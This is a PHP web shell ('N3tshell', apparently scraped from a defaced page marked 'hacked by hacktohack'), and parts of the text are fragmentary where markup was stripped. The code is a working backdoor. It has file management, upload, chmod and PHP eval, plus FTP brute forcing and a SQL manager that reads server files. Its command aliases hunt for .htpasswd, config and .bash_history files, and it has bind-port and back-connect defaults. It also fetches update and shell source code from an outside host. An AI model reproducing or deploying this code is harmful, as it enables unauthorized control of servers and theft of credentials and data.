hacked by hacktohack
$v) {if (strtoupper($k) != \"GLOBALS\") {strips($arr[\"$k\"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = \"Emp3ror Undetectable #18\"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie(\"N3tsh_surl\"); $surl = \"\";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie(\"N3tsh_surl\",$surl);}
else {$surl = $_REQUEST[\"N3tsh_surl\"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST[\"N3tsh_surl\"]) {$include = \"&\"; foreach (explode(\"&\",getenv(\"QUERY_STRING\")) as $v) {$v = explode(\"=\",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array(\"http://\",\"https://\",\"ssl://\",\"ftp://\",\"\\\\\\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name).\"=\".urlencode($value).\"&\";}}} if ($_REQUEST[\"surl_autofill_include\"]) {$includestr .= \"surl_autofill_include=1&\";}}
if (empty($surl))
{
$surl = \"?\".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
//Authentication
$login = \"\"; //login
//DON\'T FORGOT ABOUT PASSWORD!!!
$pass = \"\"; //password
$md5_pass = \"\"; //md5-cryped pass. if null, md5($pass)
$host_allow = array(\"*\"); //array (\"{mask}1\",\"{mask}2\",...), {mask} = IP or HOST e.g. array(\"192.168.0.*\",\"127.0.0.1\")
$login_txt = \"Restricted area\"; //http-auth message.
$accessdeniedmess = \" N3tshell v. \".$shver.\": access denied\";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$N3tsh_updateurl = \"http://emp3ror.com/N3tshell//update/\"; //Update server
$N3tsh_sourcesurl = \"http://emp3ror.com/N3tshell/\"; //Sources-server
$filestealth = TRUE; //if TRUE, don\'t change modify- and access-time
$donated_html = \"Owned by Spyn3t \" (default)
string {closetag} - close html-tag, e.g. \" \" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SERVER[\"PHP_SELF\"]),1,\"\",\" \"), // example
array(\"config.php\",1) // example
);
$safemode_diskettes = array(\"a\"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range(\"a\",\"z\");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = \"N3t\"; // default password for binding
$bindport_port = \"31373\"; // default port for binding
$bc_port = \"31373\"; // default port for back-connect
$datapipe_localport = \"8081\"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array(\"-----------------------------------------------------------\", \"ls -la\"),
array(\"find all suid files\", \"find / -type f -perm -04000 -ls\"),
array(\"find suid files in current dir\", \"find . -type f -perm -04000 -ls\"),
array(\"find all sgid files\", \"find / -type f -perm -02000 -ls\"),
array(\"find sgid files in current dir\", \"find . -type f -perm -02000 -ls\"),
array(\"find config.inc.php files\", \"find / -type f -name config.inc.php\"),
array(\"find config* files\", \"find / -type f -name \\\"config*\\\"\"),
array(\"find config* files in current dir\", \"find . -type f -name \\\"config*\\\"\"),
array(\"find all writable folders and files\", \"find / -perm -2 -ls\"),
array(\"find all writable folders and files in current dir\", \"find . -perm -2 -ls\"),
array(\"find all service.pwd files\", \"find / -type f -name service.pwd\"),
array(\"find service.pwd files in current dir\", \"find . -type f -name service.pwd\"),
array(\"find all .htpasswd files\", \"find / -type f -name .htpasswd\"),
array(\"find .htpasswd files in current dir\", \"find . -type f -name .htpasswd\"),
array(\"find all .bash_history files\", \"find / -type f -name .bash_history\"),
array(\"find .bash_history files in current dir\", \"find . -type f -name .bash_history\"),
array(\"find all .fetchmailrc files\", \"find / -type f -name .fetchmailrc\"),
array(\"find .fetchmailrc files in current dir\", \"find . -type f -name .fetchmailrc\"),
array(\"list file attributes on a Linux second extended file system\", \"lsattr -va\"),
array(\"show opened ports\", \"netstat -an | grep -i listen\")
);
}
else
{
$cmdaliases = array(
array(\"-----------------------------------------------------------\", \"dir\"),
array(\"show opened ports\", \"netstat -an\")
);
}
$sess_cookie = \"N3tshvars\"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array(\"Encoder \",$surl.\"act=encoder&d=%d\"),
array(\"Tools \",$surl.\"act=tools&d=%d\"),
array(\"Proc. \",$surl.\"act=processes&d=%d\"),
array(\"FTP brute \",$surl.\"act=ftpquickbrute&d=%d\"),
array(\"Sec. \",$surl.\"act=security&d=%d\"),
array(\"SQL \",$surl.\"act=sql&d=%d\"),
array(\"PHP-code \",$surl.\"act=eval&d=%d\"),
array(\"Update \",$surl.\"act=update&d=%d\"),
array(\"Feedback \",$surl.\"act=feedback&d=%d\"),
array(\"Self remove \",$surl.\"act=selfremove\"),
array(\"Logout \",\"#\\\" onclick=\\\"if (confirm(\'Are you sure?\')) window.close()\")
);
//Highlight-code colors
$highlight_background = \"#c0c0c0\";
$highlight_bg = \"#FFFFFF\";
$highlight_comment = \"#6A6A6A\";
$highlight_default = \"#0000BB\";
$highlight_html = \"#1300FF\";
$highlight_keyword = \"#007700\";
$highlight_string = \"#000000\";
@$f = $_REQUEST[\"f\"];
@extract($_REQUEST[\"N3tshcook\"]);
//END CONFIGURATION
// \\/Next code isn\'t for editing\\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace(\"\\\\*\",\".*\",preg_quote($v));}
$s = \"!^(\".implode(\"|\",$tmp).\")$!i\";
if (!preg_match($s,getenv(\"REMOTE_ADDR\")) and !preg_match($s,gethostbyaddr(getenv(\"REMOTE_ADDR\")))) {exit(\"N3tshell : Access Denied - your host (\".getenv(\"REMOTE_ADDR\").\") not allow\");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER[\"PHP_AUTH_USER\"] != $login) or (md5($_SERVER[\"PHP_AUTH_PW\"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(\" |\".view_perms(fileperms($o)).\" \";}
elseif (!is_writable($o)) {return \"\".view_perms(fileperms($o)).\" \";}
else {return \"\".view_perms(fileperms($o)).\" \";}
}
}
if (!function_exists(\"N3tgetsource\"))
{
function N3tgetsource($fn)
{
global $N3tsh_sourcesurl;
$array = array(
\"N3tsh_bindport.pl\" => \"N3tsh_bindport_pl.txt\",
\"N3tsh_bindport.c\" => \"N3tsh_bindport_c.txt\",
\"N3tsh_backconn.pl\" => \"N3tsh_backconn_pl.txt\",
\"N3tsh_backconn.c\" => \"N3tsh_backconn_c.txt\",
\"N3tsh_datapipe.pl\" => \"N3tsh_datapipe_pl.txt\",
\"N3tsh_datapipe.c\" => \"N3tsh_datapipe_c.txt\",
);
$name = $array[$fn];
if ($name) {return file_get_contents($N3tsh_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists(\"N3tsh_getupdate\"))
{
function N3tsh_getupdate($update = TRUE)
{
$url = $GLOBALS[\"N3tsh_updateurl\"].\"?version=\".urlencode(base64_encode($GLOBALS[\"shver\"])).\"&updatenow=\".($updatenow?\"1\":\"0\").\"&\";
$data = @file_get_contents($url);
if (!$data) {return \"Can\'t connect to update-server!\";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$string; return FALSE;}
if ($data{0} == \"\\x99\" and $data{1} == \"\\x02\") {return \"You are using latest version!\";}
if ($data{0} == \"\\x99\" and $data{1} == \"\\x03\")
{
$string = explode(\"\\x01\",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return \"Can\'t fetch update!\";}
else
{
$fp = fopen(__FILE__,\"w\");
if (!$fp) {return \"Local error: can\'t write update to \".__FILE__.\"! You may download N3tshell.php manually here Error: Fields: \".$name.\"
\";
}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists(\"mysql_create_db\"))
{
function mysql_create_db($db,$sock=\"\")
{
$sql = \"CREATE DATABASE `\".addslashes($db).\"`;\";
if ($sock) {return mysql_query($sql,$sock);}
else {return mysql_query($sql);}
}
}
if (!function_exists(\"mysql_query_parse\"))
{
function mysql_query_parse($query)
{
$query = trim($query);
$arr = explode (\" \",$query);
/*array array()
{
\"METHOD\"=>array(output_type),
\"METHOD1\"...
...
}
if output_type == 0, no output,
if output_type == 1, no output if no error
if output_type == 2, output without control-buttons
if output_type == 3, output with control-buttons
*/
$types = array(
\"SELECT\"=>array(3,1),
\"SHOW\"=>array(2,1),
\"DELETE\"=>array(1),
\"DROP\"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op]))
{
$result[\"propertions\"] = $types[$op];
$result[\"query\"] = $query;
if ($types[$op] == 2)
{
foreach($arr as $k=>$v)
{
if (strtoupper($v) == \"LIMIT\")
{
$result[\"limit\"] = $arr[$k+1];
$result[\"limit\"] = explode(\",\",$result[\"limit\"]);
if (count($result[\"limit\"]) == 1) {$result[\"limit\"] = array(0,$result[\"limit\"][0]);}
unset($arr[$k],$arr[$k+1]);
}
}
}
}
else {return FALSE;}
}
}
if (!function_exists(\"N3tfsearch\"))
{
function N3tfsearch($d)
{
global $found;
global $found_d;
global $found_f;
global $search_i_f;
global $search_i_d;
global $a;
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($f = readdir($h)) !== FALSE)
{
if($f != \".\" && $f != \"..\")
{
$bool = (empty($a[\"name_regexp\"]) and strpos($f,$a[\"name\"]) !== FALSE) || ($a[\"name_regexp\"] and ereg($a[\"name\"],$f));
if (is_dir($d.$f))
{
$search_i_d++;
if (empty($a[\"text\"]) and $bool) {$found[] = $d.$f; $found_d++;}
if (!is_link($d.$f)) {N3tfsearch($d.$f);}
}
else
{
$search_i_f++;
if ($bool)
{
if (!empty($a[\"text\"]))
{
$r = @file_get_contents($d.$f);
if ($a[\"text_wwo\"]) {$a[\"text\"] = \" \".trim($a[\"text\"]).\" \";}
if (!$a[\"text_cs\"]) {$a[\"text\"] = strtolower($a[\"text\"]); $r = strtolower($r);}
if ($a[\"text_regexp\"]) {$bool = ereg($a[\"text\"],$r);}
else {$bool = strpos(\" \".$r,$a[\"text\"],1);}
if ($a[\"text_not\"]) {$bool = !$bool;}
if ($bool) {$found[] = $d.$f; $found_f++;}
}
else {$found[] = $d.$f; $found_f++;}
}
}
}
}
closedir($h);
}
}
if ($act == \"gofile\") {if (is_dir($f)) {$act = \"ls\"; $d = $f;} else {$act = \"f\"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
global $gzipencode,$ft;
if (!headers_sent() and $gzipencode and !in_array($ft,array(\"img\",\"download\",\"notepad\")))
{
$v = @ob_get_contents();
@ob_end_clean();
@ob_start(\"ob_gzHandler\");
echo $v;
@ob_end_flush();
}
}
function N3tshexit()
{
onphpshutdown();
exit;
}
header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\");
header(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\").\" GMT\");
header(\"Cache-Control: no-store, no-cache, must-revalidate\");
header(\"Cache-Control: post-check=0, pre-check=0\", FALSE);
header(\"Pragma: no-cache\");
if (empty($tmpdir))
{
$tmpdir = ini_get(\"upload_tmp_dir\");
if (is_dir($tmpdir)) {$tmpdir = \"/tmp/\";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get(\"safe_mode\") or strtolower(@ini_get(\"safe_mode\")) == \"on\")
{
$safemode = TRUE;
$hsafemode = \"ON (secure) \";
}
else {$safemode = FALSE; $hsafemode = \"OFF (no secure) \";}
$v = @ini_get(\"open_basedir\");
if ($v or strtolower($v) == \"on\") {$openbasedir = TRUE; $hopenbasedir = \"\".$v.\" \";}
else {$openbasedir = FALSE; $hopenbasedir = \"OFF (not secure) \";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv(\"SERVER_SOFTWARE\");
if (!ereg(\"PHP/\".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= \". PHP/\".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace(\"PHP/\".phpversion(),\"PHP/\".phpversion().\" <?php echo getenv(\"HTTP_HOST\"); ?> - N3t ! \">N3tShell v. !
Software:
uname -a: \",1); ?>
\",1);} else {echo get_current_user();} ?>
Safe-mode:
\".htmlspecialchars($b).DIRECTORY_SEPARATOR.\" \";
$i++;
}
echo \" \";
if (is_writable($d))
{
$wd = TRUE;
$wdt = \"[ ok ] \";
echo \"\".view_perms(fileperms($d)).\" [ Read-Only ] \";
echo \"\".view_perms_color($d).\" \";
}
if (is_callable(\"disk_free_space\"))
{
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === FALSE) {$free = 0;}
if ($total === FALSE) {$total = 0;}
if ($free < 0) {$free = 0;}
if ($total < 0) {$total = 0;}
$used = $total-$free;
$free_percent = round(100/($total/$free),2);
echo \"Free \".view_size($free).\" of \".view_size($total).\" (\".$free_percent.\"%) \";
}
echo \"[ \";
if ($letter.\":\" != $v) {$letters .= $letter;}
else {$letters .= \"\".$letter.\" \";}
$letters .= \" ] \";
}
}
if (!empty($letters)) {echo \"Detected drives : \".$letters.\"\".$item[0].\" \";
}
}
echo \"
\";
if ($act == \"\") {$act = $dspact = \"ls\";}
if ($act == \"sql\")
{
$sql_surl = $surl.\"act=sql\";
if ($sql_login) {$sql_surl .= \"&sql_login=\".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= \"&sql_passwd=\".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= \"&sql_server=\".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= \"&sql_port=\".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= \"&sql_db=\".htmlspecialchars($sql_db);}
$sql_surl .= \"&\";
?>Attention! SQL-Manager is NOT ready module! Don\'t reports bugs. SQL Manager:Can\'t connect \".$err.\" \";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array(\"Index\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&\");
$sqlquicklaunch[] = array(\"Query\",$sql_surl.\"sql_act=query&sql_tbl=\".urlencode($sql_tbl));
$sqlquicklaunch[] = array(\"Server-status\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=serverstatus\");
$sqlquicklaunch[] = array(\"Server variables\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=servervars\");
$sqlquicklaunch[] = array(\"Processes\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=processes\");
$sqlquicklaunch[] = array(\"Logout\",$surl.\"act=sql\");
echo \"MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_proto_info ().\") running in \".htmlspecialchars($sql_server).\":\".htmlspecialchars($sql_port).\" as \".htmlspecialchars($sql_login).\"@\".htmlspecialchars($sql_server).\" (password - \\\"\".htmlspecialchars($sql_passwd).\"\\\") \".$item[0].\" \";
if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: Username Password Database
\">Home \".htmlspecialchars($sql_db).\" ]---» \".htmlspecialchars($row[0]).\" \"; mysql_free_result($count); $c++;}
if (!$c) {echo \"No tables found in database.\";}
}
}
else
{
?>\">Home \";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = \"no\";}
echo \"There are \".$c.\" table(s) in this DB (\".htmlspecialchars($sql_db).\").\".$item[0].\" ] \";}}
echo \" Error: Create new table: Dump DB:
\";}
if ($sql_act == \"newtbl\")
{
echo \"\";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB \\\"\".htmlspecialchars($sql_newdb).\"\\\" has been created with success! Dump error! Can\'t write to \\\"\".htmlspecialchars($sql_dump_file).\"\\\"!\";}
else
{
fwrite($fp,$ret);
fclose($fp);
echo \"Dumped! Dump has been writed to \\\"\".htmlspecialchars(realpath($sql_dump_file)).\"\\\" (\".view_size(filesize($sql_dump_file)).\") .\";
}
}
else {echo \"Dump: nothing to do! \";}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act)) {$sql_tbl_act = \"browse\";}
$count = mysql_query(\"SELECT COUNT(*) FROM `\".$sql_tbl.\"`;\");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query(\"SHOW FIELDS FROM `\".$sql_tbl.\"`;\");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(\" \",$sql_order);
if (count($e) == 2)
{
if ($e[0] == \"d\") {$asc_desc = \"DESC\";}
else {$asc_desc = \"ASC\";}
$v = \"ORDER BY `\".$e[1].\"` \".$asc_desc.\" \";
}
else {$v = \"\";}
$query = \"SELECT * FROM `\".$sql_tbl.\"` \".$v.\"LIMIT \".$sql_tbl_ls.\" , \".$perpage.\"\";
$result = mysql_query($query) or print(mysql_smarterror());
echo \" Table \".htmlspecialchars($sql_tbl).\" (\".mysql_num_fields($result).\" cols and \".$count_row[0].\" rows) [ Structure ] \";
echo \"[ Browse ] \";
echo \"[ Dump ] \";
echo \"[ Insert ] \";
if ($sql_tbl_act == \"structure\") {echo \"Coming sooon! \";}
if ($sql_tbl_act == \"insert\")
{
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio))
{
}
else
{
echo \"Inserting row into table: \";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo \" \";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB \\\"\".htmlspecialchars($sql_newdb).\"\\\" has been created with success! Server-status variables: Name Value \".$row[0].\" \".$row[1].\"
Server variables: Name Value \".$row[0].\" \".$row[1].\"
\";
mysql_free_result($result);
}
if ($sql_act == \"processes\")
{
if (!empty($kill)) {$query = \"KILL \".$kill.\";\"; $result = mysql_query($query, $sql_sock); echo \"Killing process #\".$kill.\"... ok. he is dead, amen. \";}
$result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock);
echo \"Processes: ID USER HOST DB COMMAND TIME STATE INFO Action \".$row[0].\" \".$row[1].\" \".$row[2].\" \".$row[3].\" \".$row[4].\" \".$row[5].\" \".$row[6].\" \".$row[7].\" Kill
\";
mysql_free_result($result);
}
if ($sql_act == \"getfile\")
{
$tmpdb = $sql_login.\"_tmpdb\";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query(\"CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );\");
mysql_query(\"LOAD DATA INFILE \\\"\".addslashes($sql_getfile).\"\\\" INTO TABLE tmp_file\");
$result = mysql_query(\"SELECT * FROM tmp_file;\");
if (!$result) {echo \"Error in reading file (permision denied)! \";}
else
{
for ($i=0;$iFile \\\"\".$sql_getfile.\"\\\" does not exists or empty!File \\\"\".$sql_getfile.\"\\\":
\";
if ($sql_sock)
{
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo \" Affected rows: \".$affected.\"
\";
}
if ($act == \"mkdir\")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo \"Make Dir \\\"\".htmlspecialchars($mkdir).\"\\\" : object alredy exists\";}
elseif (!mkdir($mkdir)) {echo \"Make Dir \\\"\".htmlspecialchars($mkdir).\"\\\" : access denied\";}
echo \"Ftp Quick brute: Connected to \".$host.\" with login \\\"\".$login.\"\\\" and password \\\"\".$pass.\"\\\" Connected to \".getenv(\"SERVER_NAME\").\" with login \\\"\".$str[0].\"\\\" and password \\\"\".$str[0].\"\\\" Done! \".$success.\" Permision denied! Directory information: \";
if (!$win)
{
echo \"Owner/Group \";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow[\"name\"]?$ow[\"name\"]:fileowner($d)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($d));
}
echo \" Perms \".view_perms_color($d).\" Create time \".date(\"d/m/Y H:i:s\",filectime($d)).\" Access time \".date(\"d/m/Y H:i:s\",fileatime($d)).\" MODIFY time \".date(\"d/m/Y H:i:s\",filemtime($d)).\"
Server security information: Open base dir: \".$hopenbasedir.\" *nix /etc/passwd: \".$uid[\"dir\"].\" \";
echo join(\":\",$uid).\"Get /etc/passwd You can\'t crack winnt passwords(\".$v.\") You can crack winnt passwords. Download View cpanel user-domains logs View cpanel logs Apache configuration (httpd.conf) Apache configuration (httpd.conf) Syslog configuration (syslog.conf) Message Of The Day Hosts \".$name.\" - \";} echo $name.nl2br($value).\"Make File \\\"\".htmlspecialchars($mkfile).\"\\\" : object alredy exists\";}
elseif (!fopen($mkfile,\"w\")) {echo \"Make File \\\"\".htmlspecialchars($mkfile).\"\\\" : access denied\";}
else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = \"ls\";}
}
if ($act == \"encoder\")
{
echo \"Encoder: Buffer is empty! File-System buffer Can\'t delete \".__FILE__.\"! Error: incorrect confimation! \";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo \"\";
}
}
if ($act == \"update\") {$ret = N3tsh_getupdate(!!$confirmupdate); echo \"\".$ret.\" \"; if (stristr($ret,\"new version\")) {echo \"Thanks for your feedback! Your ticket ID: \".$ticket.\". Search in file-system: No files found! \";}
else
{
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = \"ls\";
}
}
echo \"\";
if ($act == \"ls\") {$dspact = $act; echo \"Search took \".$searchtime.\" secs (\".$search_i_f.\" files and \".$search_i_d.\" folders, \".round(($search_i_f+$search_i_d)/$searchtime,4).\" objects per second). Change file-mode with error: can\'t get current value.\";}
else
{
$form = TRUE;
if ($chmod_submit)
{
$octet = \"0\".base_convert(($chmod_o[\"r\"]?1:0).($chmod_o[\"w\"]?1:0).($chmod_o[\"x\"]?1:0).($chmod_g[\"r\"]?1:0).($chmod_g[\"w\"]?1:0).($chmod_g[\"x\"]?1:0).($chmod_w[\"r\"]?1:0).($chmod_w[\"w\"]?1:0).($chmod_w[\"x\"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$act = \"ls\"; $form = FALSE; $err = \"\";}
else {$err = \"Can\'t chmod to \".$octet.\".\";}
}
if ($form)
{
$perms = parse_perms($mode);
echo \"Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\".substr(decoct(fileperms($d.$f)),-4,4).\") Error: \".$err:\"\").\"\";
}
}
}
if ($act == \"upload\")
{
$uploadmess = \"\";
$uploadpath = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != \"/\") {$uploadpath .= \"/\";}
if (!empty($submit))
{
global $HTTP_POST_FILES;
$uploadfile = $HTTP_POST_FILES[\"uploadfile\"];
if (!empty($uploadfile[\"tmp_name\"]))
{
if (empty($uploadfilename)) {$destin = $uploadfile[\"name\"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile[\"tmp_name\"],$uploadpath.$destin)) {$uploadmess .= \"Error uploading file \".$uploadfile[\"name\"].\" (can\'t copy \\\"\".$uploadfile[\"tmp_name\"].\"\\\" to \\\"\".$uploadpath.$destin.\"\\\"!Incorect url! \".$uploadmess.\" \";
$act = \"ls\";
}
else
{
echo \"File upload: \".$uploadmess.\" \";
}
}
if ($act == \"delete\")
{
$delerr = \"\";
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= \"Can\'t delete \".htmlspecialchars($v).\"Deleting with errors: Sorry, buffer is disabled. For enable, set directive \\\"\\$useFSbuff\\\" as TRUE. Pasting with errors: Archivation errors: Pasting with errors: Result of execution this command :Execution command \"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo \"\";
}
}
if ($act == \"ls\")
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo \"Can\'t open folder (\".htmlspecialchars($d).\")! Name \";
$row[] = \"Size \";
$row[] = \"Modify \";
if (!$win)
{$row[] = \"Owner/Group \";}
$row[] = \"Perms \";
$row[] = \"Action \";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != \"a\") {$parsesort[1] = \"d\";}
$y = \"\";
$y .= \" \";
$row[$k] .= $y;
for($i=0;$i\".$row[$i].\"\";}
}
$v = $parsesort[0];
usort($objects[\"folders\"], \"tabsort\");
usort($objects[\"links\"], \"tabsort\");
usort($objects[\"files\"], \"tabsort\");
if ($parsesort[1] == \"d\")
{
$objects[\"folders\"] = array_reverse($objects[\"folders\"]);
$objects[\"files\"] = array_reverse($objects[\"files\"]);
}
$objects = array_merge($objects[\"head\"],$objects[\"folders\"],$objects[\"links\"],$objects[\"files\"]);
$tab = array();
$tab[\"cols\"] = array($row);
$tab[\"head\"] = array();
$tab[\"folders\"] = array();
$tab[\"links\"] = array();
$tab[\"files\"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data[\"cut\"])) {$disppath = \"\".$disppath.\" \";}
elseif (in_array($v,$sess_data[\"copy\"])) {$disppath = \"\".$disppath.\" \";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo \"Warning! Configuration error in \\$regxp_highlight[\".$k.\"][0] - unknown command.\"; N3tshexit();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = \"\"; $r[3] = \" \";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == \".\")
{
$row[] = \"\".$o.\" \";
$row[] = \"LINK\";
}
elseif ($o == \"..\")
{
$row[] = \"\".$o.\" \";
$row[] = \"LINK\";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= \" => \".readlink($v);
$type = \"LINK\";
$row[] = \"[\".$disppath.\"] \";
}
else
{
$type = \"DIR\";
$row[] = \"[\".$disppath.\"] \";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(\".\",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = \"\".$disppath.\" \";
$row[] = view_size($a[1]);
}
$row[] = date(\"d.m.Y H:i:s\",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = \"\".view_perms_color($v).\" Listing folder (\".count($tab[\"files\"]).\" files and \".(count($tab[\"folders\"])+count($tab[\"links\"])).\" folders):
With selected: \";
echo \"Delete \";
echo \"Change-mode \";
if ($usefsbuff)
{
echo \"Cut \";
echo \"Copy \";
echo \"Unselect \";
